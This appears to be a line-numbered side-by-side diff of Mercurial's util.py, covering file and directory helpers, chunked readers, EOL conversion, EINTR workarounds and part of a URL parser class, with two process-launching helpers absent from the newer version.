2138 unlink(f)
2373 except OSError as e:
2139 except OSError as e:
2374 if e.errno != errno.ENOENT:
2140 if e.errno != errno.ENOENT:
2375 raise
2141 raise
2376
2142
2377 def makedirs(name, mode=None, notindexed=False):
2143 def makedirs(name, mode=None, notindexed=False):
2378 """recursive directory creation with parent mode inheritance
2144 """recursive directory creation with parent mode inheritance
2379
2145
2380 Newly created directories are marked as "not to be indexed by
2146 Newly created directories are marked as "not to be indexed by
2381 the content indexing service", if ``notindexed`` is specified
2147 the content indexing service", if ``notindexed`` is specified
2382 for "write" mode access.
2148 for "write" mode access.
2383 """
2149 """
2384 try:
2150 try:
2385 makedir(name, notindexed)
2151 makedir(name, notindexed)
2386 except OSError as err:
2152 except OSError as err:
2387 if err.errno == errno.EEXIST:
2153 if err.errno == errno.EEXIST:
2388 return
2154 return
2389 if err.errno != errno.ENOENT or not name:
2155 if err.errno != errno.ENOENT or not name:
2390 raise
2156 raise
2391 parent = os.path.dirname(os.path.abspath(name))
2157 parent = os.path.dirname(os.path.abspath(name))
2392 if parent == name:
2158 if parent == name:
2393 raise
2159 raise
2394 makedirs(parent, mode, notindexed)
2160 makedirs(parent, mode, notindexed)
2395 try:
2161 try:
2396 makedir(name, notindexed)
2162 makedir(name, notindexed)
2397 except OSError as err:
2163 except OSError as err:
2398 # Catch EEXIST to handle races
2164 # Catch EEXIST to handle races
2399 if err.errno == errno.EEXIST:
2165 if err.errno == errno.EEXIST:
2400 return
2166 return
2401 raise
2167 raise
2402 if mode is not None:
2168 if mode is not None:
2403 os.chmod(name, mode)
2169 os.chmod(name, mode)
2404
2170
2405 def readfile(path):
2171 def readfile(path):
2406 with open(path, 'rb') as fp:
2172 with open(path, 'rb') as fp:
2407 return fp.read()
2173 return fp.read()
2408
2174
2409 def writefile(path, text):
2175 def writefile(path, text):
2410 with open(path, 'wb') as fp:
2176 with open(path, 'wb') as fp:
2411 fp.write(text)
2177 fp.write(text)
2412
2178
2413 def appendfile(path, text):
2179 def appendfile(path, text):
2414 with open(path, 'ab') as fp:
2180 with open(path, 'ab') as fp:
2415 fp.write(text)
2181 fp.write(text)
2416
2182
2417 class chunkbuffer(object):
2183 class chunkbuffer(object):
2418 """Allow arbitrary sized chunks of data to be efficiently read from an
2184 """Allow arbitrary sized chunks of data to be efficiently read from an
2419 iterator over chunks of arbitrary size."""
2185 iterator over chunks of arbitrary size."""
2420
2186
2421 def __init__(self, in_iter):
2187 def __init__(self, in_iter):
2422 """in_iter is the iterator that's iterating over the input chunks."""
2188 """in_iter is the iterator that's iterating over the input chunks."""
2423 def splitbig(chunks):
2189 def splitbig(chunks):
2424 for chunk in chunks:
2190 for chunk in chunks:
2425 if len(chunk) > 2**20:
2191 if len(chunk) > 2**20:
2426 pos = 0
2192 pos = 0
2427 while pos < len(chunk):
2193 while pos < len(chunk):
2428 end = pos + 2 ** 18
2194 end = pos + 2 ** 18
2429 yield chunk[pos:end]
2195 yield chunk[pos:end]
2430 pos = end
2196 pos = end
2431 else:
2197 else:
2432 yield chunk
2198 yield chunk
2433 self.iter = splitbig(in_iter)
2199 self.iter = splitbig(in_iter)
2434 self._queue = collections.deque()
2200 self._queue = collections.deque()
2435 self._chunkoffset = 0
2201 self._chunkoffset = 0
2436
2202
2437 def read(self, l=None):
2203 def read(self, l=None):
2438 """Read L bytes of data from the iterator of chunks of data.
2204 """Read L bytes of data from the iterator of chunks of data.
2439 Returns less than L bytes if the iterator runs dry.
2205 Returns less than L bytes if the iterator runs dry.
2440
2206
2441 If size parameter is omitted, read everything"""
2207 If size parameter is omitted, read everything"""
2442 if l is None:
2208 if l is None:
2443 return ''.join(self.iter)
2209 return ''.join(self.iter)
2444
2210
2445 left = l
2211 left = l
2446 buf = []
2212 buf = []
2447 queue = self._queue
2213 queue = self._queue
2448 while left > 0:
2214 while left > 0:
2449 # refill the queue
2215 # refill the queue
2450 if not queue:
2216 if not queue:
2451 target = 2**18
2217 target = 2**18
2452 for chunk in self.iter:
2218 for chunk in self.iter:
2453 queue.append(chunk)
2219 queue.append(chunk)
2454 target -= len(chunk)
2220 target -= len(chunk)
2455 if target <= 0:
2221 if target <= 0:
2456 break
2222 break
2457 if not queue:
2223 if not queue:
2458 break
2224 break
2459
2225
2460 # The easy way to do this would be to queue.popleft(), modify the
2226 # The easy way to do this would be to queue.popleft(), modify the
2461 # chunk (if necessary), then queue.appendleft(). However, for cases
2227 # chunk (if necessary), then queue.appendleft(). However, for cases
2462 # where we read partial chunk content, this incurs 2 dequeue
2228 # where we read partial chunk content, this incurs 2 dequeue
2463 # mutations and creates a new str for the remaining chunk in the
2229 # mutations and creates a new str for the remaining chunk in the
2464 # queue. Our code below avoids this overhead.
2230 # queue. Our code below avoids this overhead.
2465
2231
2466 chunk = queue[0]
2232 chunk = queue[0]
2467 chunkl = len(chunk)
2233 chunkl = len(chunk)
2468 offset = self._chunkoffset
2234 offset = self._chunkoffset
2469
2235
2470 # Use full chunk.
2236 # Use full chunk.
2471 if offset == 0 and left >= chunkl:
2237 if offset == 0 and left >= chunkl:
2472 left -= chunkl
2238 left -= chunkl
2473 queue.popleft()
2239 queue.popleft()
2474 buf.append(chunk)
2240 buf.append(chunk)
2475 # self._chunkoffset remains at 0.
2241 # self._chunkoffset remains at 0.
2476 continue
2242 continue
2477
2243
2478 chunkremaining = chunkl - offset
2244 chunkremaining = chunkl - offset
2479
2245
2480 # Use all of unconsumed part of chunk.
2246 # Use all of unconsumed part of chunk.
2481 if left >= chunkremaining:
2247 if left >= chunkremaining:
2482 left -= chunkremaining
2248 left -= chunkremaining
2483 queue.popleft()
2249 queue.popleft()
2484 # offset == 0 is enabled by block above, so this won't merely
2250 # offset == 0 is enabled by block above, so this won't merely
2485 # copy via ``chunk[0:]``.
2251 # copy via ``chunk[0:]``.
2486 buf.append(chunk[offset:])
2252 buf.append(chunk[offset:])
2487 self._chunkoffset = 0
2253 self._chunkoffset = 0
2488
2254
2489 # Partial chunk needed.
2255 # Partial chunk needed.
2490 else:
2256 else:
2491 buf.append(chunk[offset:offset + left])
2257 buf.append(chunk[offset:offset + left])
2492 self._chunkoffset += left
2258 self._chunkoffset += left
2493 left -= chunkremaining
2259 left -= chunkremaining
2494
2260
2495 return ''.join(buf)
2261 return ''.join(buf)
2496
2262
2497 def filechunkiter(f, size=131072, limit=None):
2263 def filechunkiter(f, size=131072, limit=None):
2498 """Create a generator that produces the data in the file size
2264 """Create a generator that produces the data in the file size
2499 (default 131072) bytes at a time, up to optional limit (default is
2265 (default 131072) bytes at a time, up to optional limit (default is
2500 to read all data). Chunks may be less than size bytes if the
2266 to read all data). Chunks may be less than size bytes if the
2501 chunk is the last chunk in the file, or the file is a socket or
2267 chunk is the last chunk in the file, or the file is a socket or
2502 some other type of file that sometimes reads less data than is
2268 some other type of file that sometimes reads less data than is
2503 requested."""
2269 requested."""
2504 assert size >= 0
2270 assert size >= 0
2505 assert limit is None or limit >= 0
2271 assert limit is None or limit >= 0
2506 while True:
2272 while True:
2507 if limit is None:
2273 if limit is None:
2508 nbytes = size
2274 nbytes = size
2509 else:
2275 else:
2510 nbytes = min(limit, size)
2276 nbytes = min(limit, size)
2511 s = nbytes and f.read(nbytes)
2277 s = nbytes and f.read(nbytes)
2512 if not s:
2278 if not s:
2513 break
2279 break
2514 if limit:
2280 if limit:
2515 limit -= len(s)
2281 limit -= len(s)
2516 yield s
2282 yield s
2517
2283
2518 class cappedreader(object):
2284 class cappedreader(object):
2519 """A file object proxy that allows reading up to N bytes.
2285 """A file object proxy that allows reading up to N bytes.
2520
2286
2521 Given a source file object, instances of this type allow reading up to
2287 Given a source file object, instances of this type allow reading up to
2522 N bytes from that source file object. Attempts to read past the allowed
2288 N bytes from that source file object. Attempts to read past the allowed
2523 limit are treated as EOF.
2289 limit are treated as EOF.
2524
2290
2525 It is assumed that I/O is not performed on the original file object
2291 It is assumed that I/O is not performed on the original file object
2526 in addition to I/O that is performed by this instance. If there is,
2292 in addition to I/O that is performed by this instance. If there is,
2527 state tracking will get out of sync and unexpected results will ensue.
2293 state tracking will get out of sync and unexpected results will ensue.
2528 """
2294 """
2529 def __init__(self, fh, limit):
2295 def __init__(self, fh, limit):
2530 """Allow reading up to <limit> bytes from <fh>."""
2296 """Allow reading up to <limit> bytes from <fh>."""
2531 self._fh = fh
2297 self._fh = fh
2532 self._left = limit
2298 self._left = limit
2533
2299
2534 def read(self, n=-1):
2300 def read(self, n=-1):
2535 if not self._left:
2301 if not self._left:
2536 return b''
2302 return b''
2537
2303
2538 if n < 0:
2304 if n < 0:
2539 n = self._left
2305 n = self._left
2540
2306
2541 data = self._fh.read(min(n, self._left))
2307 data = self._fh.read(min(n, self._left))
2542 self._left -= len(data)
2308 self._left -= len(data)
2543 assert self._left >= 0
2309 assert self._left >= 0
2544
2310
2545 return data
2311 return data
2546
2312
2547 def readinto(self, b):
2313 def readinto(self, b):
2548 res = self.read(len(b))
2314 res = self.read(len(b))
2549 if res is None:
2315 if res is None:
2550 return None
2316 return None
2551
2317
2552 b[0:len(res)] = res
2318 b[0:len(res)] = res
2553 return len(res)
2319 return len(res)
2554
2320
2555 def unitcountfn(*unittable):
2321 def unitcountfn(*unittable):
2556 '''return a function that renders a readable count of some quantity'''
2322 '''return a function that renders a readable count of some quantity'''
2557
2323
2558 def go(count):
2324 def go(count):
2559 for multiplier, divisor, format in unittable:
2325 for multiplier, divisor, format in unittable:
2560 if abs(count) >= divisor * multiplier:
2326 if abs(count) >= divisor * multiplier:
2561 return format % (count / float(divisor))
2327 return format % (count / float(divisor))
2562 return unittable[-1][2] % count
2328 return unittable[-1][2] % count
2563
2329
2564 return go
2330 return go
2565
2331
2566 def processlinerange(fromline, toline):
2332 def processlinerange(fromline, toline):
2567 """Check that linerange <fromline>:<toline> makes sense and return a
2333 """Check that linerange <fromline>:<toline> makes sense and return a
2568 0-based range.
2334 0-based range.
2569
2335
2570 >>> processlinerange(10, 20)
2336 >>> processlinerange(10, 20)
2571 (9, 20)
2337 (9, 20)
2572 >>> processlinerange(2, 1)
2338 >>> processlinerange(2, 1)
2573 Traceback (most recent call last):
2339 Traceback (most recent call last):
2574 ...
2340 ...
2575 ParseError: line range must be positive
2341 ParseError: line range must be positive
2576 >>> processlinerange(0, 5)
2342 >>> processlinerange(0, 5)
2577 Traceback (most recent call last):
2343 Traceback (most recent call last):
2578 ...
2344 ...
2579 ParseError: fromline must be strictly positive
2345 ParseError: fromline must be strictly positive
2580 """
2346 """
2581 if toline - fromline < 0:
2347 if toline - fromline < 0:
2582 raise error.ParseError(_("line range must be positive"))
2348 raise error.ParseError(_("line range must be positive"))
2583 if fromline < 1:
2349 if fromline < 1:
2584 raise error.ParseError(_("fromline must be strictly positive"))
2350 raise error.ParseError(_("fromline must be strictly positive"))
2585 return fromline - 1, toline
2351 return fromline - 1, toline
2586
2352
2587 bytecount = unitcountfn(
2353 bytecount = unitcountfn(
2588 (100, 1 << 30, _('%.0f GB')),
2354 (100, 1 << 30, _('%.0f GB')),
2589 (10, 1 << 30, _('%.1f GB')),
2355 (10, 1 << 30, _('%.1f GB')),
2590 (1, 1 << 30, _('%.2f GB')),
2356 (1, 1 << 30, _('%.2f GB')),
2591 (100, 1 << 20, _('%.0f MB')),
2357 (100, 1 << 20, _('%.0f MB')),
2592 (10, 1 << 20, _('%.1f MB')),
2358 (10, 1 << 20, _('%.1f MB')),
2593 (1, 1 << 20, _('%.2f MB')),
2359 (1, 1 << 20, _('%.2f MB')),
2594 (100, 1 << 10, _('%.0f KB')),
2360 (100, 1 << 10, _('%.0f KB')),
2595 (10, 1 << 10, _('%.1f KB')),
2361 (10, 1 << 10, _('%.1f KB')),
2596 (1, 1 << 10, _('%.2f KB')),
2362 (1, 1 << 10, _('%.2f KB')),
2597 (1, 1, _('%.0f bytes')),
2363 (1, 1, _('%.0f bytes')),
2598 )
2364 )
2599
2365
2600 class transformingwriter(object):
2366 class transformingwriter(object):
2601 """Writable file wrapper to transform data by function"""
2367 """Writable file wrapper to transform data by function"""
2602
2368
2603 def __init__(self, fp, encode):
2369 def __init__(self, fp, encode):
2604 self._fp = fp
2370 self._fp = fp
2605 self._encode = encode
2371 self._encode = encode
2606
2372
2607 def close(self):
2373 def close(self):
2608 self._fp.close()
2374 self._fp.close()
2609
2375
2610 def flush(self):
2376 def flush(self):
2611 self._fp.flush()
2377 self._fp.flush()
2612
2378
2613 def write(self, data):
2379 def write(self, data):
2614 return self._fp.write(self._encode(data))
2380 return self._fp.write(self._encode(data))
2615
2381
2616 # Matches a single EOL which can either be a CRLF where repeated CR
2382 # Matches a single EOL which can either be a CRLF where repeated CR
2617 # are removed or a LF. We do not care about old Macintosh files, so a
2383 # are removed or a LF. We do not care about old Macintosh files, so a
2618 # stray CR is an error.
2384 # stray CR is an error.
2619 _eolre = remod.compile(br'\r*\n')
2385 _eolre = remod.compile(br'\r*\n')
2620
2386
2621 def tolf(s):
2387 def tolf(s):
2622 return _eolre.sub('\n', s)
2388 return _eolre.sub('\n', s)
2623
2389
2624 def tocrlf(s):
2390 def tocrlf(s):
2625 return _eolre.sub('\r\n', s)
2391 return _eolre.sub('\r\n', s)
2626
2392
2627 def _crlfwriter(fp):
2393 def _crlfwriter(fp):
2628 return transformingwriter(fp, tocrlf)
2394 return transformingwriter(fp, tocrlf)
2629
2395
2630 if pycompat.oslinesep == '\r\n':
2396 if pycompat.oslinesep == '\r\n':
2631 tonativeeol = tocrlf
2397 tonativeeol = tocrlf
2632 fromnativeeol = tolf
2398 fromnativeeol = tolf
2633 nativeeolwriter = _crlfwriter
2399 nativeeolwriter = _crlfwriter
2634 else:
2400 else:
2635 tonativeeol = pycompat.identity
2401 tonativeeol = pycompat.identity
2636 fromnativeeol = pycompat.identity
2402 fromnativeeol = pycompat.identity
2637 nativeeolwriter = pycompat.identity
2403 nativeeolwriter = pycompat.identity
2638
2404
2639 if (pyplatform.python_implementation() == 'CPython' and
2405 if (pyplatform.python_implementation() == 'CPython' and
2640 sys.version_info < (3, 0)):
2406 sys.version_info < (3, 0)):
2641 # There is an issue in CPython that some IO methods do not handle EINTR
2407 # There is an issue in CPython that some IO methods do not handle EINTR
2642 # correctly. The following table shows what CPython version (and functions)
2408 # correctly. The following table shows what CPython version (and functions)
2643 # are affected (buggy: has the EINTR bug, okay: otherwise):
2409 # are affected (buggy: has the EINTR bug, okay: otherwise):
2644 #
2410 #
2645 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2411 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2646 # --------------------------------------------------
2412 # --------------------------------------------------
2647 # fp.__iter__ | buggy | buggy | okay
2413 # fp.__iter__ | buggy | buggy | okay
2648 # fp.read* | buggy | okay [1] | okay
2414 # fp.read* | buggy | okay [1] | okay
2649 #
2415 #
2650 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2416 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2651 #
2417 #
2652 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2418 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2653 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2419 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2654 #
2420 #
2655 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2421 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2656 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2422 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2657 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2423 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2658 # fp.__iter__ but not other fp.read* methods.
2424 # fp.__iter__ but not other fp.read* methods.
2659 #
2425 #
2660 # On modern systems like Linux, the "read" syscall cannot be interrupted
2426 # On modern systems like Linux, the "read" syscall cannot be interrupted
2661 # when reading "fast" files like on-disk files. So the EINTR issue only
2427 # when reading "fast" files like on-disk files. So the EINTR issue only
2662 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2428 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2663 # files approximately as "fast" files and use the fast (unsafe) code path,
2429 # files approximately as "fast" files and use the fast (unsafe) code path,
2664 # to minimize the performance impact.
2430 # to minimize the performance impact.
2665 if sys.version_info >= (2, 7, 4):
2431 if sys.version_info >= (2, 7, 4):
2666 # fp.readline deals with EINTR correctly, use it as a workaround.
2432 # fp.readline deals with EINTR correctly, use it as a workaround.
2667 def _safeiterfile(fp):
2433 def _safeiterfile(fp):
2668 return iter(fp.readline, '')
2434 return iter(fp.readline, '')
2669 else:
2435 else:
2670 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2436 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2671 # note: this may block longer than necessary because of bufsize.
2437 # note: this may block longer than necessary because of bufsize.
2672 def _safeiterfile(fp, bufsize=4096):
2438 def _safeiterfile(fp, bufsize=4096):
2673 fd = fp.fileno()
2439 fd = fp.fileno()
2674 line = ''
2440 line = ''
2675 while True:
2441 while True:
2676 try:
2442 try:
2677 buf = os.read(fd, bufsize)
2443 buf = os.read(fd, bufsize)
2678 except OSError as ex:
2444 except OSError as ex:
2679 # os.read only raises EINTR before any data is read
2445 # os.read only raises EINTR before any data is read
2680 if ex.errno == errno.EINTR:
2446 if ex.errno == errno.EINTR:
2681 continue
2447 continue
2682 else:
2448 else:
2683 raise
2449 raise
2684 line += buf
2450 line += buf
2685 if '\n' in buf:
2451 if '\n' in buf:
2686 splitted = line.splitlines(True)
2452 splitted = line.splitlines(True)
2687 line = ''
2453 line = ''
2688 for l in splitted:
2454 for l in splitted:
2689 if l[-1] == '\n':
2455 if l[-1] == '\n':
2690 yield l
2456 yield l
2691 else:
2457 else:
2692 line = l
2458 line = l
2693 if not buf:
2459 if not buf:
2694 break
2460 break
2695 if line:
2461 if line:
2696 yield line
2462 yield line
2697
2463
2698 def iterfile(fp):
2464 def iterfile(fp):
2699 fastpath = True
2465 fastpath = True
2700 if type(fp) is file:
2466 if type(fp) is file:
2701 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2467 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2702 if fastpath:
2468 if fastpath:
2703 return fp
2469 return fp
2704 else:
2470 else:
2705 return _safeiterfile(fp)
2471 return _safeiterfile(fp)
2706 else:
2472 else:
2707 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2473 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2708 def iterfile(fp):
2474 def iterfile(fp):
2709 return fp
2475 return fp
2710
2476
2711 def iterlines(iterator):
2477 def iterlines(iterator):
2712 for chunk in iterator:
2478 for chunk in iterator:
2713 for line in chunk.splitlines():
2479 for line in chunk.splitlines():
2714 yield line
2480 yield line
2715
2481
2716 def expandpath(path):
2482 def expandpath(path):
2717 return os.path.expanduser(os.path.expandvars(path))
2483 return os.path.expanduser(os.path.expandvars(path))
2718
2484
2719 def hgcmd():
2720 """Return the command used to execute current hg
2721
2722 This is different from hgexecutable() because on Windows we want
2723 to avoid things opening new shell windows like batch files, so we
2724 get either the python call or current executable.
2725 """
2726 if mainfrozen():
2727 if getattr(sys, 'frozen', None) == 'macosx_app':
2728 # Env variable set by py2app
2729 return [encoding.environ['EXECUTABLEPATH']]
2730 else:
2731 return [pycompat.sysexecutable]
2732 return _gethgcmd()
2733
2734 def rundetached(args, condfn):
2735 """Execute the argument list in a detached process.
2736
2737 condfn is a callable which is called repeatedly and should return
2738 True once the child process is known to have started successfully.
2739 At this point, the child process PID is returned. If the child
2740 process fails to start or finishes before condfn() evaluates to
2741 True, return -1.
2742 """
2743 # Windows case is easier because the child process is either
2744 # successfully starting and validating the condition or exiting
2745 # on failure. We just poll on its PID. On Unix, if the child
2746 # process fails to start, it will be left in a zombie state until
2747 # the parent wait on it, which we cannot do since we expect a long
2748 # running process on success. Instead we listen for SIGCHLD telling
2749 # us our child process terminated.
2750 terminated = set()
2751 def handler(signum, frame):
2752 terminated.add(os.wait())
2753 prevhandler = None
2754 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2755 if SIGCHLD is not None:
2756 prevhandler = signal.signal(SIGCHLD, handler)
2757 try:
2758 pid = spawndetached(args)
2759 while not condfn():
2760 if ((pid in terminated or not testpid(pid))
2761 and not condfn()):
2762 return -1
2763 time.sleep(0.1)
2764 return pid
2765 finally:
2766 if prevhandler is not None:
2767 signal.signal(signal.SIGCHLD, prevhandler)
2768
2769 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2485 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2770 """Return the result of interpolating items in the mapping into string s.
2486 """Return the result of interpolating items in the mapping into string s.
2771
2487
2772 prefix is a single character string, or a two character string with
2488 prefix is a single character string, or a two character string with
2773 a backslash as the first character if the prefix needs to be escaped in
2489 a backslash as the first character if the prefix needs to be escaped in
2774 a regular expression.
2490 a regular expression.
2775
2491
2776 fn is an optional function that will be applied to the replacement text
2492 fn is an optional function that will be applied to the replacement text
2777 just before replacement.
2493 just before replacement.
2778
2494
2779 escape_prefix is an optional flag that allows using doubled prefix for
2495 escape_prefix is an optional flag that allows using doubled prefix for
2780 its escaping.
2496 its escaping.
2781 """
2497 """
2782 fn = fn or (lambda s: s)
2498 fn = fn or (lambda s: s)
2783 patterns = '|'.join(mapping.keys())
2499 patterns = '|'.join(mapping.keys())
2784 if escape_prefix:
2500 if escape_prefix:
2785 patterns += '|' + prefix
2501 patterns += '|' + prefix
2786 if len(prefix) > 1:
2502 if len(prefix) > 1:
2787 prefix_char = prefix[1:]
2503 prefix_char = prefix[1:]
2788 else:
2504 else:
2789 prefix_char = prefix
2505 prefix_char = prefix
2790 mapping[prefix_char] = prefix_char
2506 mapping[prefix_char] = prefix_char
2791 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2507 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2792 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2508 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2793
2509
2794 def getport(port):
2510 def getport(port):
2795 """Return the port for a given network service.
2511 """Return the port for a given network service.
2796
2512
2797 If port is an integer, it's returned as is. If it's a string, it's
2513 If port is an integer, it's returned as is. If it's a string, it's
2798 looked up using socket.getservbyname(). If there's no matching
2514 looked up using socket.getservbyname(). If there's no matching
2799 service, error.Abort is raised.
2515 service, error.Abort is raised.
2800 """
2516 """
2801 try:
2517 try:
2802 return int(port)
2518 return int(port)
2803 except ValueError:
2519 except ValueError:
2804 pass
2520 pass
2805
2521
2806 try:
2522 try:
2807 return socket.getservbyname(pycompat.sysstr(port))
2523 return socket.getservbyname(pycompat.sysstr(port))
2808 except socket.error:
2524 except socket.error:
2809 raise error.Abort(_("no port number associated with service '%s'")
2525 raise error.Abort(_("no port number associated with service '%s'")
2810 % port)
2526 % port)
2811
2527
2812 class url(object):
2528 class url(object):
2813 r"""Reliable URL parser.
2529 r"""Reliable URL parser.
2814
2530
2815 This parses URLs and provides attributes for the following
2531 This parses URLs and provides attributes for the following
2816 components:
2532 components:
2817
2533
2818 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2534 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2819
2535
2820 Missing components are set to None. The only exception is
2536 Missing components are set to None. The only exception is
2821 fragment, which is set to '' if present but empty.
2537 fragment, which is set to '' if present but empty.
2822
2538
2823 If parsefragment is False, fragment is included in query. If
2539 If parsefragment is False, fragment is included in query. If
2824 parsequery is False, query is included in path. If both are
2540 parsequery is False, query is included in path. If both are
2825 False, both fragment and query are included in path.
2541 False, both fragment and query are included in path.
2826
2542
2827 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2543 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2828
2544
2829 Note that for backward compatibility reasons, bundle URLs do not
2545 Note that for backward compatibility reasons, bundle URLs do not
2830 take host names. That means 'bundle://../' has a path of '../'.
2546 take host names. That means 'bundle://../' has a path of '../'.
2831
2547
2832 Examples:
2548 Examples:
2833
2549
2834 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2550 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2835 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2551 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2836 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2552 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2837 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2553 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2838 >>> url(b'file:///home/joe/repo')
2554 >>> url(b'file:///home/joe/repo')
2839 <url scheme: 'file', path: '/home/joe/repo'>
2555 <url scheme: 'file', path: '/home/joe/repo'>
2840 >>> url(b'file:///c:/temp/foo/')
2556 >>> url(b'file:///c:/temp/foo/')
2841 <url scheme: 'file', path: 'c:/temp/foo/'>
2557 <url scheme: 'file', path: 'c:/temp/foo/'>
2842 >>> url(b'bundle:foo')
2558 >>> url(b'bundle:foo')
2843 <url scheme: 'bundle', path: 'foo'>
2559 <url scheme: 'bundle', path: 'foo'>
2844 >>> url(b'bundle://../foo')
2560 >>> url(b'bundle://../foo')
2845 <url scheme: 'bundle', path: '../foo'>
2561 <url scheme: 'bundle', path: '../foo'>
2846 >>> url(br'c:\foo\bar')
2562 >>> url(br'c:\foo\bar')
2847 <url path: 'c:\\foo\\bar'>
2563 <url path: 'c:\\foo\\bar'>
2848 >>> url(br'\\blah\blah\blah')
2564 >>> url(br'\\blah\blah\blah')
2849 <url path: '\\\\blah\\blah\\blah'>
2565 <url path: '\\\\blah\\blah\\blah'>
2850 >>> url(br'\\blah\blah\blah#baz')
2566 >>> url(br'\\blah\blah\blah#baz')
2851 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2567 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2852 >>> url(br'file:///C:\users\me')
2568 >>> url(br'file:///C:\users\me')
2853 <url scheme: 'file', path: 'C:\\users\\me'>
2569 <url scheme: 'file', path: 'C:\\users\\me'>
2854
2570
2855 Authentication credentials:
2571 Authentication credentials:
2856
2572
2857 >>> url(b'ssh://joe:xyz@x/repo')
2573 >>> url(b'ssh://joe:xyz@x/repo')
2858 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2574 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2859 >>> url(b'ssh://joe@x/repo')
2575 >>> url(b'ssh://joe@x/repo')
2860 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2576 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2861
2577
2862 Query strings and fragments:
2578 Query strings and fragments:
2863
2579
2864 >>> url(b'http://host/a?b#c')
2580 >>> url(b'http://host/a?b#c')
2865 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2581 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2866 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2582 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2867 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2583 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2868
2584
2869 Empty path:
2585 Empty path:
2870
2586
2871 >>> url(b'')
2587 >>> url(b'')
2872 <url path: ''>
2588 <url path: ''>
2873 >>> url(b'#a')
2589 >>> url(b'#a')
2874 <url path: '', fragment: 'a'>
2590 <url path: '', fragment: 'a'>
2875 >>> url(b'http://host/')
2591 >>> url(b'http://host/')
2876 <url scheme: 'http', host: 'host', path: ''>
2592 <url scheme: 'http', host: 'host', path: ''>
2877 >>> url(b'http://host/#a')
2593 >>> url(b'http://host/#a')
2878 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2594 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2879
2595
2880 Only scheme:
2596 Only scheme:
2881
2597
2882 >>> url(b'http:')
2598 >>> url(b'http:')
2883 <url scheme: 'http'>
2599 <url scheme: 'http'>
2884 """
2600 """
2885
2601
2886 _safechars = "!~*'()+"
2602 _safechars = "!~*'()+"
2887 _safepchars = "/!~*'()+:\\"
2603 _safepchars = "/!~*'()+:\\"
2888 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2604 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2889
2605
2890 def __init__(self, path, parsequery=True, parsefragment=True):
2606 def __init__(self, path, parsequery=True, parsefragment=True):
2891 # We slowly chomp away at path until we have only the path left
2607 # We slowly chomp away at path until we have only the path left
2892 self.scheme = self.user = self.passwd = self.host = None
2608 self.scheme = self.user = self.passwd = self.host = None
2893 self.port = self.path = self.query = self.fragment = None
2609 self.port = self.path = self.query = self.fragment = None
2894 self._localpath = True
2610 self._localpath = True
2895 self._hostport = ''
2611 self._hostport = ''
2896 self._origpath = path
2612 self._origpath = path
2897
2613
2898 if parsefragment and '#' in path:
2614 if parsefragment and '#' in path:
2899 path, self.fragment = path.split('#', 1)
2615 path, self.fragment = path.split('#', 1)
2900
2616
2901 # special case for Windows drive letters and UNC paths
2617 # special case for Windows drive letters and UNC paths
2902 if hasdriveletter(path) or path.startswith('\\\\'):
2618 if hasdriveletter(path) or path.startswith('\\\\'):
2903 self.path = path
2619 self.path = path
2904 return
2620 return
2905
2621
2906 # For compatibility reasons, we can't handle bundle paths as
2622 # For compatibility reasons, we can't handle bundle paths as
